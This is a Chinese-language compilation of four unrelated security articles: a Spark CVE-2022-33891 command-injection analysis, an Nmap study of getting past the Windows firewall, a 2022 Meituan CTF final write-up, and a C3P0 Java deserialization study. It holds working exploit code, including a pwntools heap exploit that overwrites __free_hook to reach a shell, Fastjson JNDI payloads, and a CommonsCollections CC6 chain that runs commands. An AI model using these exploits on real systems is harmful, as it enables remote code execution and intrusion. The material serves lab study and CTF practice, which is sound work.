Apache Spark UI 命令注入漏洞 CVE-2022-33891
漏洞简介
Apache Spark UI 提供了通过配置选项 spark.acls.enable。 使用身份验证过滤器,这检查用户是否有访问权限来查看或修改应用。如果启用了 ACL,则 HttpSecurityFilter 中的代码路径可以允许某人通过提供任意用户名来执行模拟。然后恶意用户可能能够访问权限检查功能,最终将根据他们的输入构建一个 Unix shell 命令,并且执行它。这将导致任意 shell 命令执行。
影响版本:Apache Spark 版本 3.0.3 及更早版本,版本 3.11 至 3.1.2 ,以及版本 3.2.0 至 3.2.1
漏洞复现
下载 Apache Spark 3.2.1 https://archive.apache.org/dist/spark/
https://archive.apache.org/dist/spark/spark-3.2.1/spark-3.2.1-bin-hadoop2.7.tgz
根据描述是需要开启 acl 功能才可以触发漏洞
开启 ACL 可以通过设定启动时的参数 ./spark-shell --conf spark.acls.enable=true 或者在 conf/spark-defaults.conf 中添加 spark.acls.enable true
构造 poc
http://localhost:4040/?doAs=`[command injection here]`
漏洞分析
为了方便调试在启动脚本中添加上调试参数
export SPARK_SUBMIT_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"
输入错误的执行语句时的报错信息
漏洞的触发大概就在 org.apache.spark.security.ShellBasedGroupsMappingProvider.getUnixGroups
漏洞的调用栈应该为
org.apache.spark.ui.HttpSecurityFilter.doFilter(HttpSecurityFilter.scala:71)
org.apache.spark.SecurityManager.checkUIViewPermissions(SecurityManager.scala:238)
org.apache.spark.SecurityManager.isUserInACL(SecurityManager.scala:381)
org.apache.spark.util.Utils$.getCurrentUserGroups(Utils.scala:2523)
org.apache.spark.security.ShellBasedGroupsMappingProvider.getGroups(ShellBasedGroupsMappingProvider.scala:34)
org.apache.spark.security.ShellBasedGroupsMappingProvider.getUnixGroups(ShellBasedGroupsMappingProvider.scala:43)
加上断点进行调试分析
org.apache.spark.ui.HttpSecurityFilter#doFilter
获取到参数 doAS 赋值为 effectiveUser 传到函数 checkUIViewPermissions
org.apache.spark.SecurityManager#checkUIViewPermissions
org.apache.spark.SecurityManager#isUserInACL
org.apache.spark.util.Utils$#getCurrentUserGroups
org.apache.spark.security.ShellBasedGroupsMappingProvider#getGroups
org.apache.spark.security.ShellBasedGroupsMappingProvider#getUnixGroups
通过反引号将想要执行的命令包含起来,拼接到原本的命令执行语句中
org.apache.spark.util.Utils$#executeAndGetOutput
org.apache.spark.util.Utils$#executeCommand
漏洞补丁
新版本的修复 删除了 ShellBasedGroupsMappingProvider 中的 bash 的调用,最后执行命令的语句应该变为/usr/bin/id -Gn + 传入参数
Nmap抓包分析与绕过Windows防火墙
前言
在打靶场的过程中使用Nmap时发现点小问题,借此机会详细分析下情况,于是有了这篇文章。
本文包含以下内容:
Nmap抓包分析
内网下绕过Windows防火墙扫描存活主机
这里主要是针对Nmap进行讨论,实战中当然哪个快用哪个。不过万变不离其宗,哪怕稍微了解下其原理都受益无穷。
防火墙
这里的防火墙值得是Windows server自带的防火墙,主要绕过其两个防御规则:
1.禁止ICMP回显
2.隐藏模式
具体见https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd448557(v=ws.10)?redirectedfrom=MSDN,大意为:不会使用ICMP不可达响应UDP查询,不使用RST响应TCP查询。默认开启。
https://shamsher-khan-404.medium.com/understanding-nmap-scan-with-wireshark-5144d68059f7-sn:禁用端口扫描
-P* 用于选择不同的PING方法,用于存活扫描
Nmap抓包分析
拓扑图
关闭防火墙便于查看数据包
主机发现(Ping)
-PS(TCP SYN)
TCP SYN Ping:发送单个TCP SYN包到指定端口检测主机是否存活,默认80端口。该扫描就是经典的半开放扫描。
请求局域网主机135端口(开启)
nmap -sn -PS135 172.16.1.128 -vvv -n --disable-arp-ping
#-n 禁用dns解析
注意nmap扫局域网存活主机都会预先进行arp扫描,在这里禁用了端口扫描,意味着nmap只会进行存活扫描,当nmap进行arp扫描后发现主机存活就不会进行后续操作,wireshark也就抓不到包,所以使用--disable-arp-ping禁用arp扫描。
请求局域网主机666端口(关闭)
nmap -sn -PS666 172.16.1.128 -vvv -n --disable-arp-ping
请求远程主机135端口(开启):
还是这里会发现,和扫局域网比起来多了很多包,为什么和扫局域网情况不一样?
还是fofa随便找个开启135端口的IP:
这里会发现,和扫局域网比起来多了很多包。
请求远程主机6666端口(关闭):
奇怪的是,明明远程主机返回了RST/ACK包,但nmap没有接收到。
为什么会有这样的差别?翻了翻nmap官方文档,其中有这样一句话:
RST报文是运行Nmap的机器的内核为响应意外的SYN/ACK而发送的,而不是Nmap本身。
突然想到,我的kali是放在vmware,以nat形式接入网络,这样偶尔会出现点小问题。
于是我在windows上装了个nmap再进行测试:
再看下抓包
发现这里没发RST包
关掉防火墙再试,还一下发俩RST……
接下来将vmware网络模式换为桥接,发现正常了。说明是NAT网络的问题。
-PA(TCP ACK)
TCP ACK Ping:发送单个TCP ACK包到指定端口检测主机是否存活,默认80端口
请求局域网主机135端口(开启)
一般ACK包是双方建立起连接发送的,但实际上不存在连接,无论端口是否开启,远程主机都会用RST包来回应,以此来判断主机存活。当然很多防御策略都会丢弃无效包防止被检测。
nmap -sn -PA135 172.16.1.128 -vvv -n --disable-arp-ping
请求局域网主机666端口(关闭)
nmap -sn -PA666 172.16.1.128 -vvv -n --disable-arp-ping
-PU(UDP)
UDP Ping:发送UDP包到指定端口检测主机是否存活,默认40125端口。特定端口会发送特定的UDP包以便于获取更好的响应。
按照最新官方文档解释,该包发送大概有以下几种情况:
端口关闭->返回ICMP端口不可达包->判断主机存活。
返回其他ICMP错误,如主机/网络不可达或TTL超标等->判断停机。
端口开启且该服务不响应—>nmap未接收到返回包->判断停机。
端口关闭且协议不匹配->返回ICMP端口不可达包->判断主机存活。
这就是为什么默认要用40125这么冷门的端口,避免有服务使用该端口。
nmap -sn -PA135 172.16.1.128 -vvv -n --disable-arp-ping
返回ICMP端口不可达,仍旧判断出主机存活。
局域网没什么问题,扫外网的话同样有前文说的Vmware Nat网络问题,注意一下就好。
-PY(SCTP INIT)
SCTP INIT Ping:发送包含最小INIT块的SCTP包到指定端口检测主机是否存活,默认80端口。SCTP可看做TCP协议的改版。
nmap -sn -PY135 172.16.1.128 -vvv -n --disable-arp-ping
返回协议不可达,以此判断出主机存活。
-PR(ARP)
ARP Ping:ARP扫描,Nmap扫内网最常用的方式。
nmap -sn -PR 172.16.1.128 -vvv -n
接收到arp返回包,判断主机存活。
-PE/PP/PM(ICMP)
ICMP Ping:三种ICMP标准请求,如果防火墙关掉ICMP回显则收不到reply。
第一个就是常说的Ping。
第二个是时间戳请求
第三个是地址掩码请求
ICMP标准还有个信息请求,但目前未被广泛支持,所以Nmap没有做相关功能。
-PO(IP Protocol)
IP Protocol Ping:默认发送ICMP(协议1)、IGMP(协议2)和IP-in-IP(协议4),更改协议需要改nmap.h文件中的DEFAULT_PROTO_PROBE_PORT_SPEC。目前意义不大。
nmap -sn -PO -vv 172.16.1.128 -n --disable-arp-ping
端口扫描(Scan)
其实端口扫描(Scan)很多参数和主机发现(Ping)的前期抓包情况是一样的。Ping相当于点到为止,根据回显发现主机存活即可,而Scan还需要进一步分析,判断端口是否开启、判断什么服务等。
由于大部分Scan参数与Ping参数请求包一致,而部分Scan参数在本文中并未体现,所以暂且贴出三个参数抓包情况。
-sS(TCP SYN)
TCP SYN scan:经典的半开放扫描。
nmap -Pn -sS -p 135 -vvv 172.16.1.128 -n
可见发送的请求包和-PS是一样的,至于Nmap如何判断如何分析,这里就不关心了。
-sT(TCP connect)
TCP connect scan:TCP连接扫描,三次握手确认目标后直接发送RST结束当前连接,跳过四次挥手阶段。
端口开启
nmap -Pn -sT -p 135 172.16.1.128 -vvv -n --disable-arp-ping
# -Pn 不进行主机存活探测
端口关闭
可以发现,-sT和-PS两个扫描的抓包情况十分接近,只有收到SYN/ACK返回包后应答的不同,这也是-PS被称为半开放扫描的原理。
-sU(UDP)
UDP scans:发送UDP包进行扫描
nmap -Pn -sU -p 135 172.16.1.128 -vvv -n --disable-arp-ping
这里显示open|filtered,为什么呢?
因为UDP包请求到开放的端口,经常没有回显。而且这里使用-Pn跳过了主机存活探测,默认主机存活,又因为收不到回显,所以nmap无法判断该端口是开启还是被防御规则过滤。
抓包情况和-PU基本一致:
绕防火墙测试
拓扑图
测试
nmap -sn -PS135 172.16.1.128 -vvv -n --disable-arp-ping
未收到[SYN, ACK]返回包,判断主机离线。
nmap -sn -PA135 172.16.1.128 -vvv -n --disable-arp-ping
未收到[RST, ACK]返回包,判断主机离线。
nmap -sn -PU135 172.16.1.128 -vvv -n --disable-arp-ping
nmap -sn -PY135 172.16.1.128 -vvv -n --disable-arp-ping
nmap -sn -PR 172.16.1.128 -vvv -n
成功收到ARP回显,判断主机存活:
这样一圈测试下来,发现只有ARP扫描可以。原因也很简单,ARP扫描不会走靶机防火墙,而是以广播的形式进行扫描;而其他参数不是被禁ICMP回显规则拦截就是被隐身模式过滤。
后面又尝试了常用的nbt扫描、smb扫描、以及Nmap其他参数,仍然绕不过防火墙。
WINRM
难道就止步于此了吗?突然想到,之前用Ladon插件扫的时候,没见什么防火墙拦截。
于是拿Ladon测试了下,选多协议探测存活主机,一扫,果真有:
WIMRM,很熟悉,这也能拿来扫内网?
简单概述下:WIMRM是windows自带的服务,开启服务后防火墙默认放心5985(HTTP)/5986(HTTPS)端口,平常拿来横向移动。
由于没搜到Ladon源码怎么实现该扫描,谷歌找了找WINRM的文章:https://www.hackingarticles.in/winrm-penetration-testing/
其中有一行代码:
test-wsman -computername "172.16.1.128"
很快就有回显:
随便输了个其他IP,报错:
显然,使用该服务也可以绕过Windows防火墙进行存活主机扫描。
结语
总结一下:
arp扫描
可以使用工具,但到了扫内网的情况,都是拿shell了,所以直接cmd命令:arp/a即可。
WINRM
test-wsman -computername "172.16.1.128"
至于如何绕防火墙进行端口扫描,留到以后再说吧。
2022美团CTF个人决赛WP
Reverse
ROP
解析data的ROP,一点一点还原
from pwn import *
opcode = open('data', 'rb').read()
opcode_gadget = opcode[0x30+8:]
for offset in range(0, len(opcode_gadget), 8):
print(f'{hex(u64(opcode_gadget[offset:offset+8]))}')
提取出来密文,转成64位的
cipher = [0x98, 0x7A, 0xDF, 0x57, 0xC6, 0xE3, 0x18, 0xC7, 0x11, 0x07, 0xC7, 0xD4, 0x02, 0xD2, 0x9E,
0x43, 0x3A, 0xCE, 0x32, 0x04, 0x33, 0x2D, 0x30, 0x30, 0xAB, 0x03, 0x84, 0xB2, 0xA9, 0x09, 0xAA, 0x40]
cipher=[int.from_bytes(bytes(cipher[i:i+8]), 'little') for i in range(0,32,8)]
分析gadget都是通过设置rax和参数寄存器,然后call rax触发函数,函数只有4种
流程是一开始将一个32位字符放到bss段中,这个bss贴近我们输入放入bss段的位置,参与到运算
然后开始rop链,读取42个字符,提取uuid中32位字符,进行加密运算,运算的最后一部分是swap的操作,测试得知顺序改变为[2,3,0,1]
最后对比密文跳转结果
照着指令写一个逆回来的过程
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
uint64_t bss_flag[] = {3472325009839672890, 4659547388917318571, 14346467054006008472, 4872562756463036177, 3545518422457791288, 3689401600665085541, 3906648618554712880, 7004559110426617186};
void add(int i,int j){
bss_flag[i] -= bss_flag[j];
}
void sub(int i,int j){
bss_flag[i] += bss_flag[j];
}
void xor1(int i,int j){
bss_flag[i] ^= bss_flag[j];
}
int main(){
sub(0x0,0x7);
add(0x1,0x5);
sub(0x3,0x7);
add(0x0,0x5);
add(0x0,0x7);
sub(0x3,0x7);
add(0x0,0x5);
xor1(0x2,0x5);
xor1(0x2,0x5);
sub(0x3,0x7);
sub(0x2,0x6);
xor1(0x0,0x7);
add(0x2,0x4);
add(0x1,0x4);
xor1(0x1,0x7);
xor1(0x0,0x7);
sub(0x0,0x5);
sub(0x0,0x7);
sub(0x0,0x5);
add(0x1,0x7);
xor1(0x1,0x5);
add(0x1,0x6);
sub(0x1,0x4);
xor1(0x2,0x4);
add(0x1,0x4);
sub(0x0,0x6);
sub(0x2,0x7);
add(0x1,0x6);
sub(0x2,0x5);
add(0x0,0x7);
xor1(0x3,0x6);
add(0x2,0x4);
xor1(0x0,0x6);
xor1(0x0,0x5);
xor1(0x3,0x7);
xor1(0x0,0x4);
xor1(0x2,0x5);
xor1(0x2,0x6);
xor1(0x2,0x6);
xor1(0x3,0x4);
xor1(0x0,0x7);
xor1(0x2,0x5);
xor1(0x0,0x4);
xor1(0x3,0x5);
xor1(0x1,0x6);
xor1(0x3,0x7);
xor1(0x0,0x4);
xor1(0x1,0x4);
xor1(0x2,0x7);
xor1(0x1,0x7);
xor1(0x0,0x4);
xor1(0x2,0x6);
xor1(0x0,0x5);
xor1(0x1,0x7);
xor1(0x0,0x5);
xor1(0x0,0x4);
xor1(0x3,0x6);
xor1(0x1,0x7);
xor1(0x2,0x5);
xor1(0x0,0x7);
xor1(0x0,0x7);
xor1(0x2,0x4);
xor1(0x3,0x4);
xor1(0x3,0x7);
printf("%s",(char *)bss_flag);
// flag{eb4781b3-e3c5-475e-8af4-2fa50468f485}
}
crackme
go语言,一开始我ida还f5反编译不了,换了个才可以,难顶
直接sm4加密和rc4,sm4密钥写死在代码里
rc4的key在linese.txt里,密文也在里面
exp:
from binascii import unhexlify
from Crypto.Cipher import ARC4
from sm4 import SM4Key
c= unhexlify(b'cc53de43058c79e4e13dbfe4e1ece82ec7d70b0fe460d50a6e2dfbbdac0b22173124ac7dee560b026b9b4cf1394c9493ad62874b4ef2125bbe27f99827d2a801b1b994c90bc31caea1cc9dc09362b518')
key = b'd0cac74c1bbeea071817360e491585e8'
cipher = ARC4.new(key)
m = cipher.decrypt(c)
key0 = SM4Key(b'xc08asb890ajds0a')
print(key0.decrypt(m))
Misc
What is that
stegsolve直接切换几个通道就可以看到
pwn
hello
直接网上查到kernel pwn qemu 的非预期
ctrl+a然后c进入shell,cat flag没有权限,要再提权,删除/sbin/poweroff然后exit就可以到su权限,再cat flag就可以
heap
一个UAF+数组上溢出
这里可以输入负数,可以数组溢出就可以往上泄露地址,泄露出程序基地址后再相同手法修改free_hook就可以。
from pwn import *
context.log_level='debug'
#p=process('./pwn')
p=remote('47.95.8.59',42283)
elf=ELF('./pwn')
#libc=ELF('/usr/lib/freelibs/amd64/2.27-3ubuntu1.5_amd64/libc.so.6')
libc=ELF('./libc.so.6')
def add(size):
p.sendafter(b'>\n', b'1')
p.sendafter(b'add?\n', str(size).encode())
def dele(index):
p.sendafter(b'>\n', b'2')
p.sendafter(b'up?\n', str(index).encode())
def edit(index,size,content):
p.sendafter(b'>\n', b'3')
p.sendafter(b'write?\n', str(index).encode())
p.sendafter(b'write?\n', str(size).encode())
p.sendafter(b'Content:', content)
def show(index):
p.sendafter(b'>\n', b'4')
p.sendafter(b'review?\n', str(index).encode())
show(-11)
p.recvuntil('Content:')
probase=u64(p.recv(6).ljust(8,b'\x00'))-0x4008
arraddr=probase+0x4060
add(0x10)
add(0x10)
add(0x10)
dele(0)
dele(1)
dele(2)
edit(1,8,p64(arraddr))
add(0x10)
add(0x10)
add(0x10)
edit(2,8,p64(probase+elf.got['puts']))
show(0)
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols['puts']
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
edit(2,8,p64(free_hook))
edit(0,8,p64(system))
add(0x10)
edit(3,8,b'/bin/sh\x00')
dele(3)
p.interactive()
Java反序列化之C3P0链学习
0x01 前言
再多打一点基础吧,后续打算先看一看 XStream,Weblogic,strusts2 这些个
0x02 C3P0 组件介绍
C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。目前使用它的开源项目有 Hibernate,Spring 等。
JDBC 是 Java DataBase Connectivity 的缩写,它是 Java 程序访问数据库的标准接口。
使用Java程序访问数据库时,Java 代码并不是直接通过 TCP 连接去访问数据库,而是通过 JDBC 接口来访问,而 JDBC 接口则通过 JDBC 驱动来实现真正对数据库的访问。
连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
简单来说,C3P0 属于 jdbc 的一部分,和 Druid 差不多
0x03 C3P0 反序列化漏洞
环境
jdk8u65
pom.xml 如下
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
C3P0 反序列化三条 Gadgets
• 在去复现链子之前,既然这是一个数据源的组件,那么大概率会存在的漏洞是 URLClassLoader 的类的动态加载,还有 Jndi 注入。
好叭看了其他师傅的文章才知道,C3P0 常见的利用方式有如下三种
• URLClassLoader 远程类加载
• JNDI 注入
• 利用 HEX 序列化字节加载器进行反序列化攻击(第一次见,应该是我少见多怪了
我们还是以漏洞发现者的角度来复现一遍,尝试着能否少看一些其他师傅的文章,较为独立的找到链子。
C3P0 之 URLClassLoader 的链子
C3P0 之 URLClassLoader 流程分析
我们先想一想,既然是 URLClassLoader 的链子,什么场景下会用到 URLClassLoader 的链子呢?
我的第一想法是,获取数据源很可能是通过 URLClassLoader 的,事实证明我的这种想法非常愚蠢,因为获取数据源并不是获取一个类。当然,最终也没找到,不过也是有点收获的。
后面又想到了,可能是 Ref 这种类型的类,于是我又回头找了一下,但是因为 IDEA 未能搜索依赖库内的内容,所以就寄了,直接看了其他师傅的文章。
找到的类是 ReferenceableUtils,当中的 referenceToObject() 方法调用了 URLClassLoader 加载类的方法
最后还有类的加载 ———— instance(),我们的链子尾部就找好了。
继续往上找,应该是去找谁调用了 ReferenceableUtils.referenceToObject()
ReferenceIndirector 类的 getObject() 方法调用了 ReferenceableUtils.referenceToObject(),继续往上找
PoolBackedDataSourceBase#readObject() 调用了 ReferenceIndirector#getObject(),同时这也正好是一个入口类。
总结链子流程图如图
C3P0 之 URLClassLoader EXP 编写
手写一遍 EXP 试试
先写 ReferenceableUtils.referenceToObject() 的 URLClassLoader 的 EXP。
EXP 如下
public class RefToURLClassLoader {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NamingException, InstantiationException {
Class clazz = Class.forName("com.mchange.v2.naming.ReferenceableUtils");
Reference reference = new Reference("Calc", "Calc","http://127.0.0.1:9999/");
Method method = clazz.getDeclaredMethod("referenceToObject", Reference.class, Name.class, Context.class, Hashtable.class);
method.setAccessible(true);
Object o = method.invoke(clazz, reference, null, null, null);
Object object = method.invoke(o, null, null, null, null);
}
}
继续往前走,去看一下 PoolBackedDataSourceBase#readObject() 方法
这里的 readObject() 方法想要进到链子的下一步 getObject() 必须要满足一个条件,也就是传入的类必须要是 IndirectlySerialized 这个类。
在进行完这个判断之后
this.connectionPoolDataSource = (ConnectionPoolDataSource) o;
执行 .getObject() 方法的类从原本的 PoolBackedDataSourceBase 变成了 ConnectionPoolDataSource,但是 ConnectionPoolDataSource 是一个接口,并且没有继承 Serializable 接口,所以是无法直接用于代码里面的。
这个地方有点卡住了,我们不妨去看一下 PoolBackedDataSourceBase#writeObject() 的时候,也就是序列化的时候做了什么
如图,直接包装了一层 indirector.indirectForm()
我们跟进 indirector.indirectForm() 看一看,当然这个地方的 indirector 实际上就是 com.mchange.v2.naming.ReferenceIndirector,所以语句也可以这么改写
ReferenceIndirector.indirectForm()
经过 ReferenceIndirector.indirectForm() 的 “淬炼”,我们直接看返回值是什么
这里返回的是 ReferenceSerialized 的一个构造函数,ReferenceSerialized 实际上是一个内部类
跟进一下继承的接口
发现它继承了 Serializable 接口,至此,包装的过程分析结束。现在我们拿到的 "ConnectionPoolDataSource" 外表上还是 "ConnectionPoolDataSource",但是实际上已经变成了 "ReferenceSerialized" 这个类;事后师傅们可以自行打断点调试,这样体会的更深刻一些。
EXP 的编写也较为简单,值得一提的是,这里面有一个 getReference() 方法可以直接 new 一个 Reference 对象。
通过反射修改 connectionPoolDataSource 属性值为我们的恶意 ConnectionPoolDataSource 类
C3P0 之 JNDI 注入
误打误撞看到的一处伪 JNDI 注入,失败告终
虽然是误打误撞看到的,也是失败的,但是依然有价值。后面看了https://goodapple.top/的博客,发现这里居然还是可以利用的,简直太强了。
其实是在寻找上一条 Gadget 的时候发现的
位置在这个地方 com.mchange.v2.naming.ReferenceIndirector
它的 getObject() 方法里面有 initialContext.lookup()
所以我尝试了一下发现几个问题,虽然是坑吧,但是这个坑我更愿意称之为尝试。
首先这里,我们如果要触发 JNDI 注入,那么肯定需要控制 contextName 这个属性值,结果好巧不巧,这个属性值是一个类
既然是一个类,就不能直接赋给字符串对象,然后我尝试了它接口的实现类,发现不行,只能是自己这个接口;这利用面感觉太小太小了,很难挖;所以我这里就放弃了。
也挂一手失败的 EXP 吧
public class Test {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, NoSuchFieldException, IllegalAccessException, InstantiationException, InvocationTargetException, InvalidNameException {
Class clazz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");
Method method = clazz.getDeclaredMethod("getObject");
Field ContextField = clazz.getDeclaredField("contextName");
ContextField.setAccessible(true);
DnsName dnsName = new DnsName();
ContextField.set(dnsName,dnsName);
Object o = method.invoke(clazz);
method.invoke(o);
}
}
挺有意思的一次尝试,哈哈哈哈。
C3P0 之 JNDI 注入流程分析
这条链子是基于 Fastjson 链子的,也就是说,是 Fastjson 的某一条链
我们还是以漏洞发现者的思维去寻找,在库中全局搜索 Jndi,看看是否有收获
点开第一个试一下,接着在这个类当中找 jndi 关键词,看到了这个方法:dereference()
在第 112 行与第 114 行,有非常惹人注目的 ctx.lookup()
这里被 lookup() 的变量是 jndiName,跟进去看一下 jndiName 是什么
jndiName 是由 this.getJndiName() 搞来的,跟进看一看 getJndiName() 方法
这个方法做了一件什么事呢?它判断了拿进来的 jndiName 是不是 Name 的类型,如果是就返回 ((Name) jndiName).clone(),若不是就返回 String;回想起我前文挖洞失败的那个经历,不就是因为传参是一个对象所以无法利用吗!
我这里的运气非常好,第一次找就找到了这个漏洞类
回到前面,我们看一下 dereference() 方法,是否允许我们传入一个 String 类型的参数
至此,链子的尾部已经是没问题的了,向上找可用的地方
同一个类下的 inner() 方法调用了它,继续往上找
这里有非常多的 getter/setter 方法,已经是满足作为 fastjson 调用链的条件了,但是对于选择上来说,我们选最简单的 setLoginTimeout() 方法,因为它的传参只需要我们传入一个整数即可。
我觉得这里已经可以写 EXP 了,但是看到有其他师傅的文章分析的意思是:还要继续向上找,可能是因为这个 JndiRefForwardingDataSource 类是 default 的类,觉得利用面还是不够大吧,我个人觉得从攻击的角度上来说是都可以的,后续在写 EXP 的环节也会把这个写进去。
如果要继续网上找的话,还有一个是可以利用的类
再向上找可能还是可以,还能利用,但已经完全没必要了。因为黑命单加的都是大类,如果简短的链子被 ban 了,再深的链子也是被 ban 的。
C3P0 之 JNDI EXP 构造
先导入 fastjson 的包,就先导 1.2.24 的吧,因为 1.2.25 版本的 fastjson 当中就已经把 com.mchange 包加入了黑名单里面。
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
JndiRefForwardingDataSource 的 EXP 如下
package JNDIVul;
import com.alibaba.fastjson.JSON;
// JndiRefForwardingDataSource 类的直接 EXP 调用
public class JndiForwardingDataSourceEXP {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}
因为是 default 作用域的类,所以不可以直接 new,这里我们直接用 fastjson 的方式去调
JndiRefConnectionPoolDataSource 的 EXP 也大同小异,因为这是个 public 为作用域的类,我们可以先通过这种方式测试一下链子的可用性。
public class JndiRefConnectionPoolDataSourceTest {
public static void main(String[] args) throws PropertyVetoException, SQLException {
JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource();
jndiRefConnectionPoolDataSource.setJndiName("ldap://127.0.0.1:1230/remoteObject");
jndiRefConnectionPoolDataSource.setLoginTimeout(1);
}
}
用 fastjson 打也比较简单
public class JndiRefConnectionPoolDataSourceEXP {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
"\"jndiName\":\"ldap://127.0.0.1:1230/remoteObject\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}
成功
C3P0 之 hexbase 攻击利用
• 这个点因为之前从来没有接触到过,所以跟着其他师傅的文章学习一下,同时这一种利用方式也是二次反序列化的利用之一。
C3P0 之 hexbase 流程分析
这条链子能成立的根本原因是,有一个
WrapperConnectionPoolDataSource 类,它能够反序列化一串十六进制字符串
链子首部是在 WrapperConnectionPoolDataSource 类的构造函数中,如图
在给 userOverrides 赋值的时候,用的是 C3P0ImplUtils.parseUserOverridesAsString() 这么一个操作,这个方法的作用就是反序列化 userOverride 把它这个 String 类型的东西转为对象。跟进
它这里把 hex 字符串读了进来,把转码后的结果保存到了 serBytes 这个字节流的数组中,这个字节流是拿去进行 SerializableUtils.fromByteArray() 的操作,值得注意的是,在解析过程中调用了 substring() 方法将字符串头部的 HASM_HEADER 截去了,因此我们在构造时需要在十六进制字符串头部加上 HASM_HEADER,并且会截去字符串最后一位,所以需要在结尾加上一个;
SerializableUtils#fromByteArray() 调用了 SerializableUtils#deserializeFromByteArray,跟进,看到了反序列化的操作 ———— readObject()
C3P0 之 hexbase EXP 编写
• 因为我们在链子的第一步的时候,看到传入的参数是 this.getUserOverridesAsString(),所以用 Fastjson 的链子打会很简单。
这里我们需要写一个构造 hex 的 EXP,调用之前学 CC 链就可以
EXP 如下
package hexBase;
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class HexBaseFastjsonEXP {
//CC6的利用链
public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
//使用InvokeTransformer包装一下
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove("key");
// 在 put 之后通过反射修改值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
return expMap;
}
static void addHexAscii(byte b, StringWriter sw)
{
int ub = b & 0xff;
int h1 = ub / 16;
int h2 = ub % 16;
sw.write(toHexDigit(h1));
sw.write(toHexDigit(h2));
}
private static char toHexDigit(int h)
{
char out;
if (h <= 9) out = (char) (h + 0x30);
else out = (char) (h + 0x37);
//System.err.println(h + ": " + out);
return out;
}
//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
//字节数组转十六进制
public static String toHexAscii(byte[] bytes)
{
int len = bytes.length;
StringWriter sw = new StringWriter(len * 2);
for (int i = 0; i < len; ++i)
addHexAscii(bytes[i], sw);
return sw.toString();
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
String hex = toHexAscii(tobyteArray(CC6()));
System.out.println(hex);
//Fastjson<1.2.47
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}" +
"}";
JSON.parse(payload);
}
}
在低版本 Fastjson 的情况下,实际上也可以使用下面的 Payload
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";
C3P0 之 hexbase 调试分析
断点位置如图
因为我们第一次 Fastjson 拿进去打的是空,是用来加载的,第二次的 payload 是执行,所以可以直接跳过第一次的加载。
当第二次 Fastjson 进来的时候,就有了
在过了 substring 这一步之后,我们看到前面的:HexAsciiSerializedMap: 都无了,现在加载进来的才是真正的 hex 内容
接着,把 hex 的内容转化为了 bytes 字节码
下一步,进行反序列化
跟进
成功弹出计算器
C3P0 之 hexbase 另类 EXP 调试分析
在上文 EXP 的编写中,我提到了 "在低版本 Fastjson 的情况下,实际上也可以使用下面的 Payload"
这到底是怎么一回事儿呢
